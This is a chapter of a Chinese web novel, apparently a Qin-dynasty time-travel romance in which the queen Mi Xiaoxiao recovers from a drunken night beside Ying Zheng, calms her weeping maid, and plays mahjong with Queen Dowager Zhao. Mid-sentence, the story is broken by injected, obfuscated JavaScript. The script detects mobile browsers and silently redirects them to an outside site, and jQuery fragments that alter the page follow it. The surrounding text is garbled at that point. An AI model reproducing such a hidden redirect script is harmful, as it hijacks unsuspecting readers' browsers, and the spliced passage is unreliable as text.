夜半酒醒,芈萧萧昏沉间睁开眼,触目所及,却是一片袒露的胸膛。
她的头枕着嬴政一只手臂,另一只手臂搭在她的腰上。两人都脱去了外衣,只着了薄薄的里衣。
昨晚醉酒的情节一帧帧涌上来,芈萧萧后背一阵冷汗。
她又稍稍抬头,嬴政闭着眼睛,呼吸平稳,应该是睡熟了。
芈萧萧一动都不敢动,全身僵得像块木头,生怕吵醒他。
可睡着了还好,现在醒着,头又昏沉,她觉得脖子僵、腰酸,浑身难受的只想翻身,而且隔着衣物她也能感受到他的体温,好热……
嬴政的体型比她大出整整一圈,手臂压下来,她整个人像被拢住的小兽,挣都挣不开。她使劲轻轻扭了一下,又扭了一下。
“……别动了……”头顶传来沉闷低哑的声音。
芈萧萧吓得身子一僵,小声应道:“好……”
又坚持了片刻。
她实在忍不住了,又轻轻挪了一下。
“孤说了,别动……”
“……”芈萧萧声音细如蚊蚋:“君上……你能不能也别动……”
他没答,虽然她还能感觉到,但也确实不再动了。
“君上,我想……”芈萧萧稍稍侧了一下身子。
感觉到腰上的手臂一紧,头顶传来的气息一沉,带着几分不耐。
“我……呃——”
话没说完,她脸色一变。
再也忍不住了。芈萧萧一把推开他,赤脚踩到地上,摸到榻边那个带盖的铜器,掀开盖子就吐了进去。
他也跟了过来,给她轻轻拍着后背。
芈萧萧却背手往后,制止了那只手。这个情状过于狼狈,她只想让他退开出去。
干呕了半天,却什么都吐不出来,芈萧萧缓了一下,终于不再一阵一阵的反胃,她才把盖子盖回去。
“这什么酒啊……”她一边摸着榻沿往回走,一边有气无力地嘟囔,“喝得也不多啊,怎么反应这么大……真不是好东西。”
“把茶喝了,会好受些。”嬴政将一盏药味浓重的液体递到她嘴边。
芈萧萧低头看了一眼那浑浊的颜色,眉头蹙起。她抬眼想拒绝,对上他不容置疑的眼神。
她只好憋着气,一口闷了下去。
药灌下去,胃里那股翻江倒海的劲儿终于被压住了。她重新躺回床上,嬴政也并排躺下……
这会觉得舒服些,芈萧萧心里却开始不好意思起来。
她闭着眼,声音小的快听不见了:“君上见谅……让您看见这般狼狈的模样……”
“祖宗是何意?丹药又是什么?”
芈萧萧一个激灵睁开眼睛,瞬间清醒。
“什……什么?”
“王后昨夜,一直唤孤祖宗。”嬴政不紧不慢地重复,“还直呼孤的姓名,还叫孤不要乱吃药。”
芈萧萧倒吸一个口凉气——我的天啊!人怎么可以闯这么大的祸!这酒,是绝对、不能再喝了!
她紧紧攥着被褥的手心已经沁出了汗,脑子飞速转着,“君……君上,长得很像我的一个老祖宗……在没来秦国之前,我一直很敬重他……”
她抬眼看了一下他的表情,又飞快垂下。“不止我,很多人都敬重他……他威望颇高……”
“但他老了之后,有些糊涂,总是乱吃药,以为可以……可以长生……”
过了好久,芈萧萧以为他不会再问了,他却又开口:“为何从不曾听你提起过?”
“如果萧萧说……”她顿了一下,“萧萧自己也不记得,为何从未与君上提过……君上可信?”
“信。”嬴政的语气不咸不淡,“王后神思恍惚,言行有异,孤记着的。”
芈萧萧总觉得他这话不是那个意思。
但他既然这么说,她便顺着下就是了。
“谢君上……”
嬴政替两人掖好被褥,哑声凑近她耳畔:“卯时,唤孤起身。”
这大半夜的,鬼知道卯时是几点……
像是能听见她的心声一样,嬴政气息拂过耳畔,补了一句:“一刻钟后。”
心思被看穿的窘迫瞬间爬上脸颊,芈萧萧只好把脸往被褥里埋了埋,含糊地应了声:“……嗯。”
耳畔是嬴政平缓的吐息,一下一下的,芈萧萧心神一松,便沉沉睡去……
眼皮抬了半抬,只开一线。光就从那缝里挤进来。
天亮了?
芈萧萧睡眼迷离地往旁边一摸——空的。
她猛地惊醒,看到天色竟快午时了!完了完了,说好叫他起床,结果自己睡到自然醒!
正愣神,一个清脆的声音响起:“王后,君上卯时就起身了,已经去了正殿。”
“那就好……那就好……”芈萧萧松下一口气。
正要起身,却听到几声抽泣……
“绿娥?这是怎么了?”
绿娥苦丧着脸,还不时抽泣了几下。
芈萧萧把她拉到身边坐下,伸手探了探绿娥的额头,又看了看她的脸色:“绿娥,你怎么了?是身体不适吗?”
绿娥立马眼泪直掉,“奴婢自小就跟着王妃,王后带绿娥也极好,能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416279|200776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和王后一起死,绿娥心甘情愿的……”
“什么乱七八糟的?谁要死啊?”
“王后,你昨晚说的,你都不记得了吗?”
芈萧萧揉了揉眉心:原来是因为这个……
“没事的,绿娥,君上心怀天下,能装四海,岂会因为几句醉话就要人性命啊。”
“呜呜呜……”
“嘘~绿娥,咱不怕啊,咱不嚎了啊……先去给我备水,给王后我梳洗梳洗,就是没命咱也得漂漂亮亮的好不好。”
“啊~”这下绿娥直接仰头哭起来……
芈萧萧被她哭得头疼,扶着额角叹口气,挥挥手:“绿娥~快去~我头痛~”
这一下绿娥倒是立刻停了下来,乖乖退出去,不多时便端来了热水。
……
午后的光斜斜洒进来,煦风一起,动枝生乱影。
赵太后拈起一枚麻将,指腹在牌面上轻轻摩挲:“王儿媳啊,你好几日不来陪哀家打麻将了。”她抬眼,似笑非笑,“绿娥方才说,你昨夜醉了?”
芈萧萧揉着额角,声音还带着宿醉后的闷:“嗯……因为我一直在赢酒?”
“赢了?”赵太后动作一顿,“那不是很好吗?哎!自摸了。”
芈萧萧一副生无可恋的样子,悠悠道“……我一直在输,一直在喝,所以叫赢酒!”
赵太后“呵呵”笑了两声,眼角细纹都漾开,也不知是笑她酒量还是笑她牌技。
“政儿小时候,那时还在赵国……他玩游戏总能赢。”赵太后洗着牌,牌在她掌下哗啦作响,“有时赢回来一个吃的,有时赢回来一些小玩意……”
她顿了顿,“也有时候……碰上不服输的公子,就会赢回来一身伤。”
芈萧萧一怔,嘴巴微张,却不知该问什么。手里捏着的牌棱顶着掌心,像要嵌进去。
她抬眼时,正撞见赵太后的神情,却没有看到她以为的低落、愤懑,反而余晖衬得她的面容沉静温和。
殿内安静了一瞬。
“萧萧,你又慢了……”赵太后拖着声音打趣道。
芈萧萧手里一松,将牌打了出去。
她低着头,像是在专心看牌,声音却放得轻缓,像是随口一提:
“今夜萧萧留下吃饭可好?今日厨房刚到了最新鲜的鱼。君上……最爱吃鱼了。夜食让他来一起,可好?”
赵太后整理牌面的动作顿住了。她垂着眼,指腹在牌面上停留了片刻,才轻声应道:
“……好。”
那一个字,说得极轻,像是在应允,又像是期待已久。